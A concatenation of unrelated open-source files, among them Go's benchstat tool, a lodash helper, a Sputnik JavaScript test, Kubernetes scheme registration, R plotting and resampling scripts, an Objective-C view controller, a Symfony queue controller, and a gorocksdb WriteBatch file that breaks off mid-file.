// benchstat [-delta-test name] [-geomean] [-html] [-sort order] old.txt [new.txt] [more.txt ...]
//
// Each input file should contain the concatenated output of a number
// of runs of ``go test -bench.'' For each different benchmark listed in an input file,
// benchstat computes the mean, minimum, and maximum run time,
// after removing outliers using the interquartile range rule.
//
// If invoked on a single input file, benchstat prints the per-benchmark statistics
// for that file.
//
// If invoked on a pair of input files, benchstat adds to the output a column
// showing the statistics from the second file and a column showing the
// percent change in mean from the first to the second file.
// Next to the percent change, benchstat shows the p-value and sample
// sizes from a test of the two distributions of benchmark times.
// Small p-values indicate that the two distributions are significantly different.
// If the test indicates that there was no significant change between the two
// benchmarks (defined as p > 0.05), benchstat displays a single ~ instead of
// the percent change.
//
// The -delta-test option controls which significance test is applied:
// utest (Mann-Whitney U-test), ttest (two-sample Welch t-test), or none.
// The default is the U-test, sometimes also referred to as the Wilcoxon rank
// sum test.
//
// If invoked on more than two input files, benchstat prints the per-benchmark
// statistics for all the files, showing one column of statistics for each file,
// with no column for percent change or statistical significance.
//
// The -html option causes benchstat to print the results as an HTML table.
//
// The -sort option specifies an order in which to list the results:
// none (input order), delta (percent improvement), or name (benchmark name).
// A leading “-” prefix, as in “-delta”, reverses the order.
//
// Example
//
// Suppose we collect benchmark results from running ``go test -bench=Encode''
// five times before and after a particular change.
//
// The file old.txt contains:
//
// BenchmarkGobEncode 100 13552735 ns/op 56.63 MB/s
// BenchmarkJSONEncode 50 32395067 ns/op 59.90 MB/s
// BenchmarkGobEncode 100 13553943 ns/op 56.63 MB/s
// BenchmarkJSONEncode 50 32334214 ns/op 60.01 MB/s
// BenchmarkGobEncode 100 13606356 ns/op 56.41 MB/s
// BenchmarkJSONEncode 50 31992891 ns/op 60.65 MB/s
// BenchmarkGobEncode 100 13683198 ns/op 56.09 MB/s
// BenchmarkJSONEncode 50 31735022 ns/op 61.15 MB/s
//
// The file new.txt contains:
//
// BenchmarkGobEncode 100 11773189 ns/op 65.19 MB/s
// BenchmarkJSONEncode 50 32036529 ns/op 60.57 MB/s
// BenchmarkGobEncode 100 11942588 ns/op 64.27 MB/s
// BenchmarkJSONEncode 50 32156552 ns/op 60.34 MB/s
// BenchmarkGobEncode 100 11786159 ns/op 65.12 MB/s
// BenchmarkJSONEncode 50 31288355 ns/op 62.02 MB/s
// BenchmarkGobEncode 100 11628583 ns/op 66.00 MB/s
// BenchmarkJSONEncode 50 31559706 ns/op 61.49 MB/s
// BenchmarkGobEncode 100 11815924 ns/op 64.96 MB/s
// BenchmarkJSONEncode 50 31765634 ns/op 61.09 MB/s
//
// The order of the lines in the file does not matter, except that the
// output lists benchmarks in order of appearance.
//
// If run with just one input file, benchstat summarizes that file:
//
// $ benchstat old.txt
// name time/op
// GobEncode 13.6ms ± 1%
// JSONEncode 32.1ms ± 1%
// $
//
// If run with two input files, benchstat summarizes and compares:
//
// $ benchstat old.txt new.txt
// name old time/op new time/op delta
// GobEncode 13.6ms ± 1% 11.8ms ± 1% -13.31% (p=0.016 n=4+5)
// JSONEncode 32.1ms ± 1% 31.8ms ± 1% ~ (p=0.286 n=4+5)
// $
//
// Note that the JSONEncode result is reported as
// statistically insignificant instead of a -0.93% delta.
//
package main
import (
"bytes"
"flag"
"fmt"
"log"
"os"
"strings"
"golang.org/x/perf/benchstat"
)
var exit = os.Exit // replaced during testing
func usage() {
fmt.Fprintf(os.Stderr, "usage: benchstat [options] old.txt [new.txt] [more.txt ...]\n")
fmt.Fprintf(os.Stderr, "options:\n")
flag.PrintDefaults()
exit(2)
}
var (
flagDeltaTest = flag.String("delta-test", "utest", "significance `test` to apply to delta: utest, ttest, or none")
flagAlpha = flag.Float64("alpha", 0.05, "consider change significant if p < `α`")
flagGeomean = flag.Bool("geomean", false, "print the geometric mean of each file")
flagHTML = flag.Bool("html", false, "print results as an HTML table")
flagCSV = flag.Bool("csv", false, "print results in CSV form")
flagNoRange = flag.Bool("norange", false, "suppress range columns (CSV only)")
flagSplit = flag.String("split", "pkg,goos,goarch", "split benchmarks by `labels`")
flagSort = flag.String("sort", "none", "sort by `order`: [-]delta, [-]name, none")
)
var deltaTestNames = map[string]benchstat.DeltaTest{
"none": benchstat.NoDeltaTest,
"u": benchstat.UTest,
"u-test": benchstat.UTest,
"utest": benchstat.UTest,
"t": benchstat.TTest,
"t-test": benchstat.TTest,
"ttest": benchstat.TTest,
}
var sortNames = map[string]benchstat.Order{
"none": nil,
"name": benchstat.ByName,
"delta": benchstat.ByDelta,
}
func main() {
log.SetPrefix("benchstat: ")
log.SetFlags(0)
flag.Usage = usage
flag.Parse()
deltaTest := deltaTestNames[strings.ToLower(*flagDeltaTest)]
sortName := *flagSort
reverse := false
if strings.HasPrefix(sortName, "-") {
reverse = true
sortName = sortName[1:]
}
order, ok := sortNames[sortName]
if flag.NArg() < 1 || deltaTest == nil || !ok {
flag.Usage()
}
c := &benchstat.Collection{
Alpha: *flagAlpha,
AddGeoMean: *flagGeomean,
DeltaTest: deltaTest,
}
if *flagSplit != "" {
c.SplitBy = strings.Split(*flagSplit, ",")
}
if order != nil {
if reverse {
order = benchstat.Reverse(order)
}
c.Order = order
}
for _, file := range flag.Args() {
f, err := os.Open(file)
if err != nil {
log.Fatal(err)
}
if err := c.AddFile(file, f); err != nil {
log.Fatal(err)
}
f.Close()
}
tables := c.Tables()
var buf bytes.Buffer
if *flagHTML {
buf.WriteString(htmlHeader)
benchstat.FormatHTML(&buf, tables)
buf.WriteString(htmlFooter)
} else if *flagCSV {
benchstat.FormatCSV(&buf, tables, *flagNoRange)
} else {
benchstat.FormatText(&buf, tables)
}
os.Stdout.Write(buf.Bytes())
}
var htmlHeader = `<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Performance Result Comparison</title>
<style>
.benchstat { border-collapse: collapse; }
.benchstat th:nth-child(1) { text-align: left; }
.benchstat tbody td:nth-child(1n+2):not(.note) { text-align: right; padding: 0em 1em; }
.benchstat tr:not(.configs) th { border-top: 1px solid #666; border-bottom: 1px solid #ccc; }
.benchstat .nodelta { text-align: center !important; }
.benchstat .better td.delta { font-weight: bold; }
.benchstat .worse td.delta { font-weight: bold; color: #c00; }
</style>
</head>
<body>
`
var htmlFooter = `</body>
</html>
`
|
{
"pile_set_name": "Github"
}
|
/**
* Checks if a `cache` value for `key` exists.
*
* @private
* @param {Object} cache The cache to query.
* @param {string} key The key of the entry to check.
* @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
*/
function cacheHas(cache, key) {
return cache.has(key);
}
module.exports = cacheHas;
|
{
"pile_set_name": "Github"
}
|
// Copyright 2009 the Sputnik authors. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/**
* @name: S10.1.6_A1_T1;
* @section: 10.1.6;
* @assertion: The activation object is initialised with a property with name arguments and attributes {DontDelete};
* @description: Checking ifdeleting function parameter is possible;
*/
//CHECK#1
function f1(a){
delete a;
return a;
}
if (f1(1) !== 1)
$ERROR('#1: Function parameter was deleted');
|
{
"pile_set_name": "Github"
}
|
// This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment.
require('../../js/transition.js')
require('../../js/alert.js')
require('../../js/button.js')
require('../../js/carousel.js')
require('../../js/collapse.js')
require('../../js/dropdown.js')
require('../../js/modal.js')
require('../../js/tooltip.js')
require('../../js/popover.js')
require('../../js/scrollspy.js')
require('../../js/tab.js')
require('../../js/affix.js')
|
{
"pile_set_name": "Github"
}
|
!
! This file is a part of the NsCDE - Not so Common Desktop Environment
! Author: Hegel3DReloaded
! Licence: GPLv3
!
Editres.Geometry: 456x531-86-10
Editres*font: -*-lucida-medium-r-normal-*-12-*-*-*-*-*-*
Editres.paned.porthole.background: NSCDE_BG_COLOR_4
Editres*box*background: NSCDE_BG_COLOR_2
Editres*background: NSCDE_BG_COLOR_2
Editres.paned.porthole.tree.background: NSCDE_BG_COLOR_4
Editres.paned.hPane.xt.shadowWidth: 2
Editres.paned.hPane.xt.topShadowContrast: 18
Editres.paned.hPane.panner.background: NSCDE_BG_COLOR_2
Editres.paned.hPane.panner.foreground: NSCDE_FG_COLOR_2
Editres.paned.hPane.panner.shadowColor: NSCDE_FG_COLOR_2
Editres.paned.hPane.xt.background: NSCDE_BS_COLOR_2
Editres.paned.hPane.xt.foreground: NSCDE_FG_COLOR_2
Editres.paned.hPane.xt.font: -*-lucida-medium-r-normal-*-12-*-*-*-*-*-*
Editres*SimpleMenu*borderWidth: 2
Editres*SimpleMenu*shadowWidth: 2
Editres*SimpleMenu*topShadowContrast: 18
Editres*SimpleMenu*borderColor: NSCDE_BS_COLOR_2
Editres.paned.hPane.panner.shadowThickness: 2
Editres*namesList.background: NSCDE_BG_COLOR_4
Editres*namesLabel.background: NSCDE_BS_COLOR_2
Editres*namesLabel.foreground: NSCDE_FG_COLOR_2
Editres*namesLabel.shadowWidth: 2
Editres*namesLabel.topShadowContrast: 48
Editres*valueText.background: NSCDE_BG_COLOR_4
Editres*commandBox.background: NSCDE_BS_COLOR_2
Editres*namesAndClasses.background: NSCDE_BG_COLOR_4
Editres*resourceLabel.background: NSCDE_BS_COLOR_2
Editres*resourceLabel.foreground: NSCDE_FG_COLOR_2
Editres*resourceLabel.shadowWidth: 2
Editres*grip*shadowWidth: 3
Editres*valueForm.valueLabel.background: NSCDE_BS_COLOR_2
Editres*valueForm.valueLabel.foreground: NSCDE_FG_COLOR_2
Editres*valueForm.valueLabel.shadowWidth: 2
Editres.xt*geometry: 749x549-18+9
Editres*resourceLabel.allowResize: False
Editres*allowShellResize: False
|
{
"pile_set_name": "Github"
}
|
/*
Copyright 2017 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package apiextensions
import (
"k8s.io/apimachinery/pkg/runtime"
"k8s.io/apimachinery/pkg/runtime/schema"
)
const GroupName = "apiextensions.k8s.io"
// SchemeGroupVersion is group version used to register these objects
var SchemeGroupVersion = schema.GroupVersion{Group: GroupName, Version: runtime.APIVersionInternal}
// Kind takes an unqualified kind and returns back a Group qualified GroupKind
func Kind(kind string) schema.GroupKind {
return SchemeGroupVersion.WithKind(kind).GroupKind()
}
// Resource takes an unqualified resource and returns back a Group qualified GroupResource
func Resource(resource string) schema.GroupResource {
return SchemeGroupVersion.WithResource(resource).GroupResource()
}
var (
SchemeBuilder = runtime.NewSchemeBuilder(addKnownTypes)
AddToScheme = SchemeBuilder.AddToScheme
)
// Adds the list of known types to the given scheme.
func addKnownTypes(scheme *runtime.Scheme) error {
scheme.AddKnownTypes(SchemeGroupVersion,
&CustomResourceDefinition{},
&CustomResourceDefinitionList{},
)
return nil
}
|
{
"pile_set_name": "Github"
}
|
"use strict";
require("retape")(require("./index"))
|
{
"pile_set_name": "Github"
}
|
#################################################################################
# The MIT License #
# Copyright (c) 2018 Fulcrum Genomics LLC #
# Permission is hereby granted, free of charge, to any person obtaining a copy #
# of this software and associated documentation files (the "Software"), to deal #
# in the Software without restriction, including without limitation the rights #
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell #
# copies of the Software, and to permit persons to whom the Software is #
# furnished to do so, subject to the following conditions: #
# The above copyright notice and this permission notice shall be included in #
# all copies or substantial portions of the Software. #
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR #
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, #
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE #
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER #
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, #
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN #
# THE SOFTWARE. #
#################################################################################
# R script to generate QC plots from the FindSwitchbackReads tool
options(warn = -1) # Don't emit warnings, only errors
library(ggplot2)
args = commandArgs(trailingOnly=T)
name = args[1]
lengthsFile = args[2]
offsetsFile = args[3]
gapsFile = args[4]
outputFile = args[5]
pdf(outputFile, width=11, height=8.5)
# Standard colors
files = c(lengthsFile, offsetsFile, gapsFile)
labels = c("Length of Switchback", "Switchback Offset", "Tandem Switchback Gap")
colors = c("#2E9DD7", "#155936", "firebrick3")
for (i in c(1,2,3)) {
file = files[i]
color = colors[i]
xlab = labels[i]
data = read.table(file, sep="\t", header=T)
names(data)[1] = "key"
plot = ggplot(data) + aes(x=key, y=count) +
scale_y_continuous(limits=c(0, NA)) +
geom_bar(stat="identity", color=color, fill=color) +
labs(x=xlab, y="Number of Templates", title=paste("Distribution of", xlab, "in", name)) +
theme(plot.title = element_text(hjust = 0.5))
print(plot)
}
dev.off()
|
{
"pile_set_name": "Github"
}
|
cmake_minimum_required(VERSION 2.8.3)
project(opt_utils)
set(CMAKE_BUILD_TYPE RelWithDebInfo)
find_package(catkin REQUIRED COMPONENTS cmake_modules roscpp rosconsole image_transport cv_bridge opt_msgs)
find_package(OpenCV REQUIRED)
include_directories(${OpenCV_INCLUDE_DIRS})
link_directories(${OpenCV_LIB_DIR})
find_package(Eigen REQUIRED)
include_directories(${Eigen_INCLUDE_DIRS} include ${catkin_INCLUDE_DIRS})
add_library(json src/json.cpp)
target_link_libraries(json ${catkin_LIBRARIES})
catkin_package(
INCLUDE_DIRS include
LIBRARIES ${PROJECT_NAME} json
CATKIN_DEPENDS roscpp
)
add_library(${PROJECT_NAME} src/conversions.cpp)
target_link_libraries(${PROJECT_NAME} ${catkin_LIBRARIES})
add_executable(roi_viewer apps/roi_viewer.cpp)
target_link_libraries(roi_viewer boost_system boost_filesystem boost_signals ${PROJECT_NAME} ${catkin_LIBRARIES} ${OpenCV_LIBS})
#add_executable(tracking_viewer apps/tracking_viewer.cpp)
#target_link_libraries(tracking_viewer boost_system boost_filesystem boost_signals ${PROJECT_NAME} ${catkin_LIBRARIES} ${OpenCV_LIBS})
add_executable(ros2udp_converter apps/ros2udp_converter.cpp src/udp_messaging.cpp)# src/json.cpp)
target_link_libraries(ros2udp_converter ${catkin_LIBRARIES} json)
add_executable(udp_listener apps/udp_listener.cpp src/udp_messaging.cpp)
target_link_libraries(udp_listener ${catkin_LIBRARIES})
|
{
"pile_set_name": "Github"
}
|
/* WARNING: do not edit! */
/* Generated by Makefile from include/crypto/dso_conf.h.in */
/*
* Copyright 2016-2019 The OpenSSL Project Authors. All Rights Reserved.
*
* Licensed under the OpenSSL license (the "License"). You may not use
* this file except in compliance with the License. You can obtain a copy
* in the file LICENSE in the source distribution or at
* https://www.openssl.org/source/license.html
*/
#ifndef OSSL_CRYPTO_DSO_CONF_H
# define OSSL_CRYPTO_DSO_CONF_H
# define DSO_DLFCN
# define HAVE_DLFCN_H
# define DSO_EXTENSION ".so"
#endif
|
{
"pile_set_name": "Github"
}
|
//
// JXUserViewController.m
//
// Created by flyeagleTang on 14-4-3.
// Copyright (c) 2014年 Reese. All rights reserved.
//
#import "JXUserViewController.h"
#import "JXLabel.h"
#import "JXImageView.h"
#import "AppDelegate.h"
#import "JXLoginViewController.h"
#import "JXCell.h"
@interface JXUserViewController ()
@end
@implementation JXUserViewController
- (id)initWithNibName:(NSString *)nibNameOrNil bundle:(NSBundle *)nibBundleOrNil
{
self = [super initWithNibName:nibNameOrNil bundle:nibBundleOrNil];
if (self) {
// Custom initialization
self.view.frame = CGRectMake(0, 0, 320, JX_SCREEN_HEIGHT-49-44);
[_table setSeparatorStyle:UITableViewCellSeparatorStyleNone];
}
return self;
}
- (void)viewDidLoad
{
[super viewDidLoad];
// Do any additional setup after loading the view from its nib.
_array =[[NSMutableArray alloc] init];
_page=0;
_isLoading=0;
[self find];
}
- (void)didReceiveMemoryWarning
{
[super didReceiveMemoryWarning];
// Dispose of any resources that can be recreated.
}
-(void)find
{
ASIFormDataRequest *request=[ASIFormDataRequest requestWithURL:API_BASE_URL(@"user/query")];
[request setPostValue:[NSNumber numberWithInt:_page] forKey:@"pageIndex"];
[request setPostValue:[NSNumber numberWithInt:10] forKey:@"pageSize"];
[request setDelegate:self];
[request setDidFinishSelector:@selector(requestSuccess:)];
[request setDidFailSelector:@selector(requestError:)];
[request startAsynchronous];
}
#pragma mark ---------tableView协议----------------
-(NSInteger)numberOfSectionsInTableView:(UITableView *)tableView
{
return 1;
}
-(NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section
{
_recordCount = _array.count;
return _array.count;
}
- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath
{
JXCell *cell=nil;
NSString* s = [NSString stringWithFormat:@"msg_%d_%d",_refreshCount,indexPath.row];
cell = [tableView dequeueReusableCellWithIdentifier:s];
if(cell==nil){
NSDictionary *dict=_array[indexPath.row];
cell = [JXCell alloc];
NSTimeInterval t = [[dict objectForKey:@"registerDate"] floatValue];
t = t/1000;
NSDate* d = [NSDate dateWithTimeIntervalSince1970:t];
cell.title = [dict objectForKey:@"userNickname"];
cell.subtitle = [dict objectForKey:@"userId"];
cell.bottomTitle = [g_App formatdate:d format:@"MM-dd HH:mm"];
cell.headImage = [JXUserObject getHeadImage:[dict objectForKey:@"userId"]];
[cell initWithStyle:UITableViewCellStyleDefault reuseIdentifier:s];
dict = nil;
if(indexPath.row == _recordCount-1 && _recordCount>=10*(_page+1))//建上拉翻页控件
[self createScrollFooter:0];
}
return cell;
}
#pragma mark -------网络请求回调---------
-(void)requestSuccess:(ASIFormDataRequest*)request
{
[self stopLoading];
[self deleteScrollFooter];
_refreshCount++;
NSLog(@"response:%@",request.responseString);
SBJsonParser *paser=[[[SBJsonParser alloc]init]autorelease];
NSDictionary *rootDic=[paser objectWithString:request.responseString];
int resultCode=[[rootDic objectForKey:@"resultCode"]intValue];
if (resultCode==1) {
NSLog(@"查找成功");
//保存账号信息
if(_page == 0)
[_array removeAllObjects];
NSArray *userArr=[[rootDic objectForKey:@"data"] objectForKey:@"pageData"];
for (NSDictionary *dic in userArr)
[_array addObject:dic];
[_table reloadData];
}else
{
NSLog(@"查找好友失败,原因:%@",[rootDic objectForKey:@"msg"]);
}
}
-(void)requestError:(ASIFormDataRequest *)request
{
NSLog(@"请求失败");
}
-(void)dealloc
{
[_table release];
[super dealloc];
[_array release];
}
-(void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath
{
if(![JXXMPP sharedInstance].isLogined){
JXLoginViewController* vc = [[JXLoginViewController alloc]init];
[g_App.window addSubview:vc.view];
return;
}
NSDictionary *dic=_array[indexPath.row];
NSString* myUserId = [[NSUserDefaults standardUserDefaults]objectForKey:kMY_USER_ID];
JXUserObject *user=[JXUserObject userFromDictionary:dic];
if ([myUserId isEqualToString:user.userId]){
[g_App showAlert:@"不能加自己"];
return;
}
if (![JXUserObject haveSaveUserById:user.userId]){
[JXUserObject saveNewUser:user];
[[NSNotificationCenter defaultCenter]postNotificationName:kXMPPNewFriendNotifaction object:nil userInfo:nil];
[g_App showAlert:@"已加为好友"];
}else{
[g_App showAlert:@"已经是好友,请到朋友中聊天"];
}
}
-(CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath
{
return 60;
}
-(void)scrollToPageUp{
if(_isLoading)
return;
_page = 0;
[self getServerData];
}
-(void)scrollToPageDown{
if(_isLoading)
return;
_page++;
[self getServerData];
}
-(void)getServerData{
_isLoading = YES;
[self find];
_isLoading = NO;
}
@end
|
{
"pile_set_name": "Github"
}
|
<?php
namespace Dtc\QueueBundle\Controller;
use Dtc\QueueBundle\Doctrine\DoctrineJobManager;
use Dtc\QueueBundle\Exception\UnsupportedException;
use Dtc\QueueBundle\Model\BaseJob;
use Dtc\QueueBundle\Model\Worker;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\StreamedResponse;
class QueueController
{
use ControllerTrait;
private $container;
public function __construct(ContainerInterface $container)
{
$this->container = $container;
}
/**
* Summary stats.
*/
public function status()
{
$params = [];
$jobManager = $this->container->get('dtc_queue.manager.job');
$params['status'] = $jobManager->getStatus();
$this->addCssJs($params);
return $this->render('@DtcQueue/Queue/status.html.twig', $params);
}
/**
* List jobs in system by default.
*
* @throws UnsupportedException|\Exception
*/
public function jobsAll()
{
$this->validateManagerType('dtc_queue.manager.job');
$this->checkDtcGridBundle();
$class1 = $this->container->getParameter('dtc_queue.class.job');
$class2 = $this->container->getParameter('dtc_queue.class.job_archive');
$label1 = 'Non-Archived Jobs';
$label2 = 'Archived Jobs';
$params = $this->getDualGridParams($class1, $class2, $label1, $label2);
return $this->render('@DtcQueue/Queue/grid.html.twig', $params);
}
/**
* @throws UnsupportedException
*/
public function archive(Request $request)
{
return $this->streamResults($request, 'archiveAllJobs');
}
/**
* @return StreamedResponse
*
* @throws UnsupportedException
*/
public function resetStalled(Request $request)
{
return $this->streamResults($request, 'resetStalledJobs');
}
/**
* @return StreamedResponse
*
* @throws UnsupportedException
*/
public function pruneStalled(Request $request)
{
return $this->streamResults($request, 'pruneStalledJobs');
}
/**
* @param $functionName
*
* @return StreamedResponse
*
* @throws UnsupportedException
*/
protected function streamResults(Request $request, $functionName)
{
$jobManager = $this->container->get('dtc_queue.manager.job');
if (!$jobManager instanceof DoctrineJobManager) {
throw new UnsupportedException('$jobManager must be instance of '.DoctrineJobManager::class);
}
$streamingResponse = new StreamedResponse($this->getStreamFunction($request, $functionName));
$streamingResponse->headers->set('Content-Type', 'application/x-ndjson');
$streamingResponse->headers->set('X-Accel-Buffering', 'no');
return $streamingResponse;
}
/**
* @param string $functionName
*
* @return \Closure
*/
protected function getStreamFunction(Request $request, $functionName)
{
$jobManager = $this->container->get('dtc_queue.manager.job');
$workerName = $request->get('workerName');
$methodName = $request->get('method');
$total = null;
$callback = function ($count, $totalCount) use (&$total) {
if (null !== $totalCount && null === $total) {
$total = $totalCount;
echo json_encode(['total' => $total]);
echo "\n";
flush();
return;
}
echo json_encode(['count' => $count]);
echo "\n";
flush();
};
return function () use ($jobManager, $callback, $workerName, $methodName, $functionName, &$total) {
switch ($functionName) {
case 'archiveAllJobs':
$total = $jobManager->countLiveJobs($workerName, $methodName);
echo json_encode(['total' => $total]);
echo "\n";
flush();
if ($total > 0) {
$jobManager->archiveAllJobs($workerName, $methodName, $callback);
}
break;
default:
$jobManager->$functionName($workerName, $methodName, $callback);
break;
}
};
}
/**
* List jobs in system by default.
*
* @throws UnsupportedException|\Exception
*/
public function jobs()
{
$this->validateManagerType('dtc_queue.manager.job');
$this->checkDtcGridBundle();
$managerType = $this->container->getParameter('dtc_queue.manager.job');
$rendererFactory = $this->container->get('dtc_grid.renderer.factory');
$renderer = $rendererFactory->create('datatables');
$gridSource = $this->container->get('dtc_queue.grid_source.jobs_waiting.'.('mongodb' === $managerType ? 'odm' : $managerType));
$renderer->bind($gridSource);
$params = $renderer->getParams();
$this->addCssJs($params);
$params['worker_methods'] = $this->container->get('dtc_queue.manager.job')->getWorkersAndMethods();
$params['prompt_message'] = 'This will archive all non-running jobs';
return $this->render('@DtcQueue/Queue/jobs.html.twig', $params);
}
/**
* List jobs in system by default.
*
* @throws UnsupportedException|\Exception
*/
public function jobsRunning()
{
$this->validateManagerType('dtc_queue.manager.job');
$this->checkDtcGridBundle();
$managerType = $this->container->getParameter('dtc_queue.manager.job');
$rendererFactory = $this->container->get('dtc_grid.renderer.factory');
$renderer = $rendererFactory->create('datatables');
$gridSource = $this->container->get('dtc_queue.grid_source.jobs_running.'.('mongodb' === $managerType ? 'odm' : $managerType));
$renderer->bind($gridSource);
$params = $renderer->getParams();
$this->addCssJs($params);
$params['worker_methods'] = $this->container->get('dtc_queue.manager.job')->getWorkersAndMethods(BaseJob::STATUS_RUNNING);
$params['prompt_message'] = 'This will prune all stalled jobs';
return $this->render('@DtcQueue/Queue/jobs_running.html.twig', $params);
}
/**
* @param string $class1
* @param string $class2
* @param string $label1
* @param string $label2
*
* @return array
*
* @throws \Exception
*/
protected function getDualGridParams($class1, $class2, $label1, $label2)
{
$rendererFactory = $this->container->get('dtc_grid.renderer.factory');
$renderer = $rendererFactory->create('datatables');
$gridSource = $this->container->get('dtc_grid.manager.source')->get($class1);
$renderer->bind($gridSource);
$params = $renderer->getParams();
$renderer2 = $rendererFactory->create('datatables');
$gridSource = $this->container->get('dtc_grid.manager.source')->get($class2);
$renderer2->bind($gridSource);
$params2 = $renderer2->getParams();
$params['archive_grid'] = $params2['dtc_grid'];
$params['dtc_queue_grid_label1'] = $label1;
$params['dtc_queue_grid_label2'] = $label2;
$this->addCssJs($params);
return $params;
}
/**
* List jobs in system by default.
*
* @throws UnsupportedException|\Exception
*/
public function runs()
{
$this->validateRunManager();
$this->checkDtcGridBundle();
$class1 = $this->container->getParameter('dtc_queue.class.run');
$class2 = $this->container->getParameter('dtc_queue.class.run_archive');
$label1 = 'Live Runs';
$label2 = 'Archived Runs';
$params = $this->getDualGridParams($class1, $class2, $label1, $label2);
return $this->render('@DtcQueue/Queue/grid.html.twig', $params);
}
/**
* List registered workers in the system.
*/
public function workers()
{
$workerManager = $this->container->get('dtc_queue.manager.worker');
$workers = $workerManager->getWorkers();
$workerList = [];
foreach ($workers as $workerName => $worker) {
/* @var Worker $worker */
$workerList[$workerName] = get_class($worker);
}
$params = ['workers' => $workerList];
$this->addCssJs($params);
return $this->render('@DtcQueue/Queue/workers.html.twig', $params);
}
/**
* Validates that DtcGridBundle exists.
*
* @throws UnsupportedException
*/
protected function checkDtcGridBundle()
{
if (!class_exists('Dtc\GridBundle\DtcGridBundle')) {
throw new UnsupportedException('DtcGridBundle (mmucklo/grid-bundle) needs to be installed.');
}
}
}
|
{
"pile_set_name": "Github"
}
|
#' Summary of resampled performance estimates
#'
#' This function uses the out-of-bag predictions to calculate overall
#' performance metrics and returns the observed and predicted data.
#'
#' The mean and standard deviation of the values produced by
#' \code{\link{postResample}} are calculated.
#'
#' @param obs A vector (numeric or factor) of the outcome data
#' @param resampled For bootstrapping, this is either a matrix (for numeric
#' outcomes) or a data frame (for factors). For cross-validation, a vector is
#' produced.
#' @param index The list to index of samples in each cross-validation fold
#' (only used for cross-validation).
#' @param keepData A logical for returning the observed and predicted data.
#' @return A list with: \item{metrics }{A vector of values describing the
#' bootstrap distribution.} \item{data }{A data frame or \code{NULL}. Columns
#' include \code{obs}, \code{pred} and \code{group} (for tracking
#' cross-validation folds or bootstrap samples)}
#' @author Max Kuhn
#' @seealso \code{\link{postResample}}
#' @keywords utilities
#' @examples
#'
#' resampleSummary(rnorm(10), matrix(rnorm(50), ncol = 5))
#'
#' @export resampleSummary
resampleSummary <- function(obs, resampled, index = NULL, keepData = TRUE)
{
numPred <- apply(resampled, 2, function(u) sum(!is.na(u)))
# for everything but LOO, we should get multiple predictions per resample
if(all(numPred >= 2))
{
# calculate performance metrics for each resample
performanceStats <- apply(
resampled,
2,
postResample,
obs = obs)
#summarize resample dists
out <- c(
apply(performanceStats, 1, mean, na.rm = TRUE),
apply(performanceStats, 1, sd, na.rm = TRUE))
# optionally returen the data in "vertical" format
# to conserve space remove the many missing values
if(keepData)
{
# stack has issues when there are a lot of missing values,
# so we'll use lapply to stack the columns of resampled
if(is.factor(obs))
{
outResample <- data.frame(
obs = rep(obs, dim(resampled)[2]),
pred = factor(unlist(lapply(resampled, as.character)),
levels = levels(obs)),
group = paste(
"Resample",
rep(
1:dim(resampled)[2],
each = dim(resampled)[1], sep = "")))
} else {
outResample <- data.frame(
obs = rep(obs, dim(resampled)[2]),
pred = unlist(lapply(resampled, I)),
group = paste(
"Resample",
rep(
1:dim(resampled)[2],
each = dim(resampled)[1], sep = "")))
}
} else outResample <- NULL
} else {
pred <- apply(resampled, 2, function(u) u[!is.na(u)])
if(is.factor(obs)) pred <- factor(as.character(pred), levels = levels(obs))
tmp <- postResample(pred, obs)
tmp2 <- tmp * 0
out <- c(
tmp,
tmp * 0)
outResample <- data.frame(
obs = obs,
pred = pred,
group = "Resample1")
}
if(keepData) outResample <- outResample[!is.na(outResample$pred),]
list(metrics = out, data = outResample)
}
|
{
"pile_set_name": "Github"
}
|
package gorocksdb
// #include "rocksdb/c.h"
import "C"
import (
"errors"
"io"
)
// WriteBatch is a batching of Puts, Merges and Deletes.
type WriteBatch struct {
c *C.rocksdb_writebatch_t
}
// NewWriteBatch create a WriteBatch object.
func NewWriteBatch() *WriteBatch {
return NewNativeWriteBatch(C.rocksdb_writebatch_create())
}
// NewNativeWriteBatch create a WriteBatch object.
func NewNativeWriteBatch(c *C.rocksdb_writebatch_t) *WriteBatch {
return &WriteBatch{c}
}
// WriteBatchFrom creates a write batch from a serialized WriteBatch.
func WriteBatchFrom(data []byte) *WriteBatch {
return NewNativeWriteBatch(C.rocksdb_writebatch_create_from(byteToChar(data), C.size_t(len(data))))
}
// Put queues a key-value pair.
func (wb *WriteBatch) Put(key, value []byte) {
cKey := byteToChar(key)
cValue := byteToChar(value)
C.rocksdb_writebatch_put(wb.c, cKey, C.size_t(len(key)), cValue, C.size_t(len(value)))
}
// PutCF queues a key-value pair in a column family.
func (wb *WriteBatch) PutCF(cf *ColumnFamilyHandle, key, value []byte) {
cKey := byteToChar(key)
cValue := byteToChar(value)
C.rocksdb_writebatch_put_cf(wb.c, cf.c, cKey, C.size_t(len(key)), cValue, C.size_t(len(value)))
}
// Append a blob of arbitrary size to the records in this batch.
